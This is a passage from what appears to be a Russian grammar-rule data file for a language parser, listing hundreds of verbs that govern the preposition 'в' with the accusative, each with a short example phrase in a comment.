rus_verbs:наливать{}, // наливать в кружку
rus_verbs:пролезть{}, // пролезть в ушко
rus_verbs:откладывать{}, // откладывать в ящик
rus_verbs:протянуться{}, // протянуться в соседний дом
rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь
rus_verbs:устанавливать{}, // устанавливать в машину
rus_verbs:употребляться{}, // употребляться в пищу
rus_verbs:переключиться{}, // переключиться в реверсный режим
rus_verbs:пискнуть{}, // пискнуть в микрофон
rus_verbs:заявиться{}, // заявиться в класс
rus_verbs:налиться{}, // налиться в стакан
rus_verbs:заливать{}, // заливать в бак
rus_verbs:ставиться{}, // ставиться в очередь
инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны
деепричастие:писаясь{},
rus_verbs:целоваться{}, // целоваться в губы
rus_verbs:наносить{}, // наносить в область сердца
rus_verbs:посмеяться{}, // посмеяться в кулачок
rus_verbs:употребить{}, // употребить в пищу
rus_verbs:прорваться{}, // прорваться в столовую
rus_verbs:укладываться{}, // укладываться в ровные стопки
rus_verbs:пробиться{}, // пробиться в финал
rus_verbs:забить{}, // забить в землю
rus_verbs:переложить{}, // переложить в другой карман
rus_verbs:опускать{}, // опускать в свежевырытую могилу
rus_verbs:поторопиться{}, // поторопиться в школу
rus_verbs:сдвинуться{}, // сдвинуться в сторону
rus_verbs:капать{}, // капать в смесь
rus_verbs:погружаться{}, // погружаться во тьму
rus_verbs:направлять{}, // направлять в кабинку
rus_verbs:погрузить{}, // погрузить во тьму
rus_verbs:примчаться{}, // примчаться в школу
rus_verbs:упираться{}, // упираться в дверь
rus_verbs:удаляться{}, // удаляться в комнату совещаний
rus_verbs:ткнуться{}, // ткнуться в окошко
rus_verbs:убегать{}, // убегать в чащу
rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру
rus_verbs:наговорить{}, // наговорить в микрофон
rus_verbs:переносить{}, // переносить в дом
rus_verbs:прилечь{}, // прилечь в кроватку
rus_verbs:поворачивать{}, // поворачивать в обратную сторону
rus_verbs:проскочить{}, // проскочить в щель
rus_verbs:совать{}, // совать в духовку
rus_verbs:переодеться{}, // переодеться в чистую одежду
rus_verbs:порвать{}, // порвать в лоскуты
rus_verbs:завязать{}, // завязать в бараний рог
rus_verbs:съехать{}, // съехать в кювет
rus_verbs:литься{}, // литься в канистру
rus_verbs:уклониться{}, // уклониться в левую сторону
rus_verbs:смахнуть{}, // смахнуть в мусорное ведро
rus_verbs:спускать{}, // спускать в шахту
rus_verbs:плеснуть{}, // плеснуть в воду
rus_verbs:подуть{}, // подуть в угольки
rus_verbs:набирать{}, // набирать в команду
rus_verbs:хлопать{}, // хлопать в ладошки
rus_verbs:ранить{}, // ранить в самое сердце
rus_verbs:посматривать{}, // посматривать в иллюминатор
rus_verbs:превращать{}, // превращать воду в вино
rus_verbs:толкать{}, // толкать в пучину
rus_verbs:отбыть{}, // отбыть в расположение части
rus_verbs:сгрести{}, // сгрести в карман
rus_verbs:удрать{}, // удрать в тайгу
rus_verbs:пристроиться{}, // пристроиться в хорошую фирму
rus_verbs:сбиться{}, // сбиться в плотную группу
rus_verbs:заключать{}, // заключать в объятия
rus_verbs:отпускать{}, // отпускать в поход
rus_verbs:устремить{}, // устремить взгляд в будущее
rus_verbs:обронить{}, // обронить в траву
rus_verbs:сливаться{}, // сливаться в речку
rus_verbs:стекать{}, // стекать в канаву
rus_verbs:свалить{}, // свалить в кучу
rus_verbs:подтянуть{}, // подтянуть в кабину
rus_verbs:скатиться{}, // скатиться в канаву
rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь
rus_verbs:заторопиться{}, // заторопиться в буфет
rus_verbs:протиснуться{}, // протиснуться в центр толпы
rus_verbs:прятать{}, // прятать в укромненькое местечко
rus_verbs:пропеть{}, // пропеть в микрофон
rus_verbs:углубиться{}, // углубиться в джунгли
rus_verbs:сползти{}, // сползти в яму
rus_verbs:записывать{}, // записывать в память
rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР)
rus_verbs:колотиться{}, // колотиться в дверь
rus_verbs:просунуть{}, // просунуть в отверстие
rus_verbs:провожать{}, // провожать в армию
rus_verbs:катить{}, // катить в гараж
rus_verbs:поражать{}, // поражать в самое сердце
rus_verbs:отлететь{}, // отлететь в дальний угол
rus_verbs:закинуть{}, // закинуть в речку
rus_verbs:катиться{}, // катиться в пропасть
rus_verbs:забросить{}, // забросить в дальний угол
rus_verbs:отвезти{}, // отвезти в лагерь
rus_verbs:втопить{}, // втопить педаль в пол
rus_verbs:втапливать{}, // втапливать педать в пол
rus_verbs:утопить{}, // утопить кнопку в панель
rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США
rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?)
rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег
rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег
rus_verbs:поскакать{}, // поскакать в атаку
rus_verbs:прицелиться{}, // прицелиться в бегущего зайца
rus_verbs:прыгать{}, // прыгать в кровать
rus_verbs:приглашать{}, // приглашать в дом
rus_verbs:понестись{}, // понестись в ворота
rus_verbs:заехать{}, // заехать в гаражный бокс
rus_verbs:опускаться{}, // опускаться в бездну
rus_verbs:переехать{}, // переехать в коттедж
rus_verbs:поместить{}, // поместить в карантин
rus_verbs:ползти{}, // ползти в нору
rus_verbs:добавлять{}, // добавлять в корзину
rus_verbs:уткнуться{}, // уткнуться в подушку
rus_verbs:продавать{}, // продавать в рабство
rus_verbs:спрятаться{}, // Белка спрячется в дупло.
rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию
rus_verbs:воткнуть{}, // воткни вилку в розетку
rus_verbs:нести{}, // нести в больницу
rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку
rus_verbs:впаивать{}, // впаивать деталь в плату
rus_verbs:впаиваться{}, // деталь впаивается в плату
rus_verbs:впархивать{}, // впархивать в помещение
rus_verbs:впаять{}, // впаять деталь в плату
rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат
rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат
rus_verbs:вперивать{}, // вперивать взгляд в экран
rus_verbs:впериваться{}, // впериваться в экран
rus_verbs:вперить{}, // вперить взгляд в экран
rus_verbs:впериться{}, // впериться в экран
rus_verbs:вперять{}, // вперять взгляд в экран
rus_verbs:вперяться{}, // вперяться в экран
rus_verbs:впечатать{}, // впечатать текст в первую главу
rus_verbs:впечататься{}, // впечататься в стену
rus_verbs:впечатывать{}, // впечатывать текст в первую главу
rus_verbs:впечатываться{}, // впечатываться в стену
rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами
rus_verbs:впитаться{}, // Жидкость впиталась в ткань
rus_verbs:впитываться{}, // Жидкость впитывается в ткань
rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы
rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку
rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник
rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник
rus_verbs:вплавиться{}, // Провод вплавился в плату
rus_verbs:вплеснуть{}, // вплеснуть краситель в бак
rus_verbs:вплести{}, // вплести ленту в волосы
rus_verbs:вплестись{}, // вплестись в волосы
rus_verbs:вплетать{}, // вплетать ленты в волосы
rus_verbs:вплывать{}, // корабль вплывает в порт
rus_verbs:вплыть{}, // яхта вплыла в бухту
rus_verbs:вползать{}, // дракон вползает в пещеру
rus_verbs:вползти{}, // дракон вполз в свою пещеру
rus_verbs:впорхнуть{}, // бабочка впорхнула в окно
rus_verbs:впрессовать{}, // впрессовать деталь в плиту
rus_verbs:впрессоваться{}, // впрессоваться в плиту
rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту
rus_verbs:впрессовываться{}, // впрессовываться в плиту
rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон
rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон
rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр
rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр
rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания
rus_verbs:впрягать{}, // впрягать лошадь в телегу
rus_verbs:впрягаться{}, // впрягаться в работу
rus_verbs:впрячь{}, // впрячь лошадь в телегу
rus_verbs:впрячься{}, // впрячься в работу
rus_verbs:впускать{}, // впускать посетителей в музей
rus_verbs:впускаться{}, // впускаться в помещение
rus_verbs:впустить{}, // впустить посетителей в музей
rus_verbs:впутать{}, // впутать кого-то во что-то
rus_verbs:впутаться{}, // впутаться во что-то
rus_verbs:впутывать{}, // впутывать кого-то во что-то
rus_verbs:впутываться{}, // впутываться во что-то
rus_verbs:врабатываться{}, // врабатываться в режим
rus_verbs:вработаться{}, // вработаться в режим
rus_verbs:врастать{}, // врастать в кожу
rus_verbs:врасти{}, // врасти в кожу
инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь
инфинитив:врезать{ вид:соверш },
глагол:врезать{ вид:несоверш },
глагол:врезать{ вид:соверш },
деепричастие:врезая{},
деепричастие:врезав{},
прилагательное:врезанный{},
инфинитив:врезаться{ вид:несоверш }, // врезаться в стену
инфинитив:врезаться{ вид:соверш },
глагол:врезаться{ вид:несоверш },
деепричастие:врезаясь{},
деепричастие:врезавшись{},
rus_verbs:врубить{}, // врубить в нагрузку
rus_verbs:врываться{}, // врываться в здание
rus_verbs:закачивать{}, // Насос закачивает топливо в бак
rus_verbs:ввезти{}, // Предприятие ввезло товар в страну
rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу
rus_verbs:ввивать{}, // Женщина ввивает полоску в косу
rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу
rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко
rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко
rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека
rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека
rus_verbs:вламываться{}, // Полиция вламывается в квартиру
rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом
rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом
rus_verbs:вовлечься{}, // вовлечься в занятие спортом
rus_verbs:спуститься{}, // спуститься в подвал
rus_verbs:спускаться{}, // спускаться в подвал
rus_verbs:отправляться{}, // отправляться в дальнее плавание
инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство
инфинитив:эмитировать{ вид:несоверш },
глагол:эмитировать{ вид:соверш },
глагол:эмитировать{ вид:несоверш },
деепричастие:эмитируя{},
деепричастие:эмитировав{},
прилагательное:эмитировавший{ вид:несоверш },
// прилагательное:эмитировавший{ вид:соверш },
прилагательное:эмитирующий{},
прилагательное:эмитируемый{},
прилагательное:эмитированный{},
инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию
инфинитив:этапировать{вид:соверш},
глагол:этапировать{вид:несоверш},
глагол:этапировать{вид:соверш},
деепричастие:этапируя{},
прилагательное:этапируемый{},
прилагательное:этапированный{},
rus_verbs:этапироваться{}, // Преступники этапируются в колонию
rus_verbs:баллотироваться{}, // они баллотировались в жюри
rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну
rus_verbs:бросать{}, // Они бросали в фонтан медные монетки
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:бросить{}, // Он бросил в фонтан медную монетку
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя
rus_verbs:буксировать{}, // Буксир буксирует танкер в порт
rus_verbs:буксироваться{}, // Сухогруз буксируется в порт
rus_verbs:вбегать{}, // Курьер вбегает в дверь
rus_verbs:вбежать{}, // Курьер вбежал в дверь
rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол
rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту
rus_verbs:вбиваться{}, // Штырь вбивается в плиту
rus_verbs:вбирать{}, // Вата вбирает в себя влагу
rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь
rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру
rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру
rus_verbs:вбросить{}, // Судья вбросил мяч в игру
rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон
rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон
rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект
rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача
rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру
rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта
rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту
rus_verbs:ввариваться{}, // Арматура вваривается в плиту
rus_verbs:вварить{}, // Робот вварил арматурину в плиту
rus_verbs:влезть{}, // Предприятие ввезло товар в страну
rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру
rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон
rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон
rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон
rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача
rus_verbs:вверяться{}, // Пациент вверяется в руки врача
rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров
rus_verbs:ввиваться{}, // полоска ввивается в косу
rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево
rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево
rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену
rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену
rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров
rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров
// rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье
rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну
rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон
rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон
rus_verbs:ввязаться{}, // Разведрота ввязалась в бой
rus_verbs:ввязываться{}, // Передовые части ввязываются в бой
rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор
rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор
rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию
rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида
rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида
rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали
rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку
rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку
rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь
rus_verbs:вдвинуться{}, // деталь вдвинулась в печь
rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку
rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко
rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко
rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко
rus_verbs:вделать{}, // мастер вделал розетку в стену
rus_verbs:вделывать{}, // мастер вделывает выключатель в стену
rus_verbs:вделываться{}, // кронштейн вделывается в стену
rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко
rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко
rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век
rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов
rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог
rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие
rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку
rus_verbs:вернуться{}, // Дети вернулись в библиотеку
rus_verbs:вжаться{}, // Водитель вжался в кресло
rus_verbs:вживаться{}, // Актер вживается в новую роль
rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента
rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента
rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента
rus_verbs:вживляться{}, // Стимулятор вживляется в тело
rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло
rus_verbs:вжиться{}, // Актер вжился в свою новую роль
rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо
rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо
rus_verbs:взвинтиться{}, // Цены взвинтились в небо
rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо
rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо
rus_verbs:взвиться{}, // Шарики взвились в небо
rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух
rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо
rus_verbs:взмывать{}, // шарики взмывают в небо
rus_verbs:взмыть{}, // Шарики взмыли в небо
rus_verbs:вильнуть{}, // Машина вильнула в левую сторону
rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену
rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену
rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю
rus_verbs:вкапываться{}, // Свая вкапывается в землю
rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж
rus_verbs:вкатиться{}, // машина вкатилась в гараж
rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж
rus_verbs:вкатываться{}, // машина вкатывается в гараж
rus_verbs:вкачать{}, // Механики вкачали в бак много топлива
rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак
rus_verbs:вкачиваться{}, // Топливо вкачивается в бак
rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер
rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер
rus_verbs:вкидываться{}, // Груз вкидывается в контейнер
rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции
rus_verbs:вкладываться{}, // Инвестор вкладывается в акции
rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь
rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь
rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь
rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь
rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист
rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист
rus_verbs:вклиниваться{}, // Машина вклинивается в поток
rus_verbs:вклиниться{}, // машина вклинилась в поток
rus_verbs:включать{}, // Команда включает компьютер в сеть
rus_verbs:включаться{}, // Машина включается в глобальную сеть
rus_verbs:включить{}, // Команда включила компьютер в сеть
rus_verbs:включиться{}, // Компьютер включился в сеть
rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску
rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску
rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску
rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство
rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю
rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты
rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку
rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку
rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты
rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон
rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон
rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон
rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон
rus_verbs:влазить{}, // Разъем влазит в отверствие
rus_verbs:вламывать{}, // Полиция вламывается в квартиру
rus_verbs:влетать{}, // Самолет влетает в грозовой фронт
rus_verbs:влететь{}, // Самолет влетел в грозовой фронт
rus_verbs:вливать{}, // Механик вливает масло в картер
rus_verbs:вливаться{}, // Масло вливается в картер
rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия
rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности
rus_verbs:влить{}, // Механик влил свежее масло в картер
rus_verbs:влиться{}, // Свежее масло влилось в бак
rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства
rus_verbs:вложиться{}, // Инвесторы вложились в эти акции
rus_verbs:влюбиться{}, // Коля влюбился в Олю
rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков
rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов
rus_verbs:вляпаться{}, // Коля вляпался в неприятность
rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности
rus_verbs:вменить{}, // вменить в вину
rus_verbs:вменять{}, // вменять в обязанность
rus_verbs:вмерзать{}, // Колеса вмерзают в лед
rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед
rus_verbs:вмести{}, // вмести в дом
rus_verbs:вместить{}, // вместить в ёмкость
rus_verbs:вместиться{}, // Прибор не вместился в зонд
rus_verbs:вмешаться{}, // Начальник вмешался в конфликт
rus_verbs:вмешивать{}, // Не вмешивай меня в это дело
rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры
rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус
rus_verbs:вминать{}, // вминать в корпус
rus_verbs:вминаться{}, // кронштейн вминается в корпус
rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы
rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда
rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт
rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт
rus_verbs:вморозить{}, // Установка вморозила сваи в грунт
rus_verbs:вмуровать{}, // Сейф был вмурован в стену
rus_verbs:вмуровывать{}, // вмуровывать сейф в стену
rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену
rus_verbs:внедрить{}, // внедрить инновацию в производство
rus_verbs:внедриться{}, // Шпион внедрился в руководство
rus_verbs:внедрять{}, // внедрять инновации в производство
rus_verbs:внедряться{}, // Шпионы внедряются в руководство
rus_verbs:внести{}, // внести коробку в дом
rus_verbs:внестись{}, // внестись в список приглашенных гостей
rus_verbs:вникать{}, // Разработчик вникает в детали задачи
rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи
rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев
rus_verbs:вноситься{}, // вноситься в список главных персонажей
rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса
rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом
rus_verbs:вогнать{}, // вогнал человека в тоску
rus_verbs:водворить{}, // водворить преступника в тюрьму
rus_verbs:возвернуть{}, // возвернуть в родную стихию
rus_verbs:возвернуться{}, // возвернуться в родную стихию
rus_verbs:возвести{}, // возвести число в четную степень
rus_verbs:возводить{}, // возводить число в четную степень
rus_verbs:возводиться{}, // число возводится в четную степень
rus_verbs:возвратить{}, // возвратить коров в стойло
rus_verbs:возвратиться{}, // возвратиться в родной дом
rus_verbs:возвращать{}, // возвращать коров в стойло
rus_verbs:возвращаться{}, // возвращаться в родной дом
rus_verbs:войти{}, // войти в галерею славы
rus_verbs:вонзать{}, // Коля вонзает вилку в котлету
rus_verbs:вонзаться{}, // Вилка вонзается в котлету
rus_verbs:вонзить{}, // Коля вонзил вилку в котлету
rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету
rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность
rus_verbs:воплотиться{}, // Мечты воплотились в реальность
rus_verbs:воплощать{}, // Коля воплощает мечты в реальность
rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность
rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь
rus_verbs:воспарить{}, // Душа воспарила в небо
rus_verbs:воспарять{}, // Душа воспаряет в небо
rus_verbs:врыть{}, // врыть опору в землю
rus_verbs:врыться{}, // врыться в землю
rus_verbs:всадить{}, // всадить пулю в сердце
rus_verbs:всаживать{}, // всаживать нож в бок
rus_verbs:всасывать{}, // всасывать воду в себя
rus_verbs:всасываться{}, // всасываться в ёмкость
rus_verbs:вселить{}, // вселить надежду в кого-либо
rus_verbs:вселиться{}, // вселиться в пустующее здание
rus_verbs:вселять{}, // вселять надежду в кого-то
rus_verbs:вселяться{}, // вселяться в пустующее здание
rus_verbs:вскидывать{}, // вскидывать руку в небо
rus_verbs:вскинуть{}, // вскинуть руку в небо
rus_verbs:вслушаться{}, // вслушаться в звуки
rus_verbs:вслушиваться{}, // вслушиваться в шорох
rus_verbs:всматриваться{}, // всматриваться в темноту
rus_verbs:всмотреться{}, // всмотреться в темень
rus_verbs:всовывать{}, // всовывать палец в отверстие
rus_verbs:всовываться{}, // всовываться в форточку
rus_verbs:всосать{}, // всосать жидкость в себя
rus_verbs:всосаться{}, // всосаться в кожу
rus_verbs:вставить{}, // вставить ключ в замок
rus_verbs:вставлять{}, // вставлять ключ в замок
rus_verbs:встраивать{}, // встраивать черный ход в систему защиты
rus_verbs:встраиваться{}, // встраиваться в систему безопасности
rus_verbs:встревать{}, // встревать в разговор
rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности
rus_verbs:встроиться{}, // встроиться в систему безопасности
rus_verbs:встрять{}, // встрять в разговор
rus_verbs:вступать{}, // вступать в действующую армию
rus_verbs:вступить{}, // вступить в действующую армию
rus_verbs:всунуть{}, // всунуть палец в отверстие
rus_verbs:всунуться{}, // всунуться в форточку
инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер
инфинитив:всыпать{вид:несоверш},
глагол:всыпать{вид:соверш},
глагол:всыпать{вид:несоверш},
деепричастие:всыпав{},
деепричастие:всыпая{},
прилагательное:всыпавший{ вид:соверш },
// прилагательное:всыпавший{ вид:несоверш },
прилагательное:всыпанный{},
// прилагательное:всыпающий{},
инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер
// инфинитив:всыпаться{ вид:соверш},
// глагол:всыпаться{ вид:соверш},
глагол:всыпаться{ вид:несоверш},
// деепричастие:всыпавшись{},
деепричастие:всыпаясь{},
// прилагательное:всыпавшийся{ вид:соверш },
// прилагательное:всыпавшийся{ вид:несоверш },
// прилагательное:всыпающийся{},
rus_verbs:вталкивать{}, // вталкивать деталь в ячейку
rus_verbs:вталкиваться{}, // вталкиваться в ячейку
rus_verbs:втаптывать{}, // втаптывать в грязь
rus_verbs:втаптываться{}, // втаптываться в грязь
rus_verbs:втаскивать{}, // втаскивать мешок в комнату
rus_verbs:втаскиваться{}, // втаскиваться в комнату
rus_verbs:втащить{}, // втащить мешок в комнату
rus_verbs:втащиться{}, // втащиться в комнату
rus_verbs:втекать{}, // втекать в бутылку
rus_verbs:втемяшивать{}, // втемяшивать в голову
rus_verbs:втемяшиваться{}, // втемяшиваться в голову
rus_verbs:втемяшить{}, // втемяшить в голову
rus_verbs:втемяшиться{}, // втемяшиться в голову
rus_verbs:втереть{}, // втереть крем в кожу
rus_verbs:втереться{}, // втереться в кожу
rus_verbs:втесаться{}, // втесаться в группу
rus_verbs:втесывать{}, // втесывать в группу
rus_verbs:втесываться{}, // втесываться в группу
rus_verbs:втечь{}, // втечь в бак
rus_verbs:втирать{}, // втирать крем в кожу
rus_verbs:втираться{}, // втираться в кожу
rus_verbs:втискивать{}, // втискивать сумку в вагон
rus_verbs:втискиваться{}, // втискиваться в переполненный вагон
rus_verbs:втиснуть{}, // втиснуть сумку в вагон
rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро
rus_verbs:втолкать{}, // втолкать коляску в лифт
rus_verbs:втолкаться{}, // втолкаться в вагон метро
rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт
rus_verbs:втолкнуться{}, // втолкнуться в вагон метро
rus_verbs:втолочь{}, // втолочь в смесь
rus_verbs:втоптать{}, // втоптать цветы в землю
rus_verbs:вторгаться{}, // вторгаться в чужую зону
rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь
rus_verbs:втравить{}, // втравить кого-то в неприятности
rus_verbs:втравливать{}, // втравливать кого-то в неприятности
rus_verbs:втрамбовать{}, // втрамбовать камни в землю
rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю
rus_verbs:втрамбовываться{}, // втрамбовываться в землю
rus_verbs:втрескаться{}, // втрескаться в кого-то
rus_verbs:втрескиваться{}, // втрескиваться в кого-либо
rus_verbs:втыкать{}, // втыкать вилку в котлетку
rus_verbs:втыкаться{}, // втыкаться в розетку
rus_verbs:втюриваться{}, // втюриваться в кого-либо
rus_verbs:втюриться{}, // втюриться в кого-либо
rus_verbs:втягивать{}, // втягивать что-то в себя
rus_verbs:втягиваться{}, // втягиваться в себя
rus_verbs:втянуться{}, // втянуться в себя
rus_verbs:вцементировать{}, // вцементировать сваю в фундамент
rus_verbs:вчеканить{}, // вчеканить надпись в лист
rus_verbs:вчитаться{}, // вчитаться внимательнее в текст
rus_verbs:вчитываться{}, // вчитываться внимательнее в текст
rus_verbs:вчувствоваться{}, // вчувствоваться в роль
rus_verbs:вшагивать{}, // вшагивать в новую жизнь
rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь
rus_verbs:вшивать{}, // вшивать заплату в рубашку
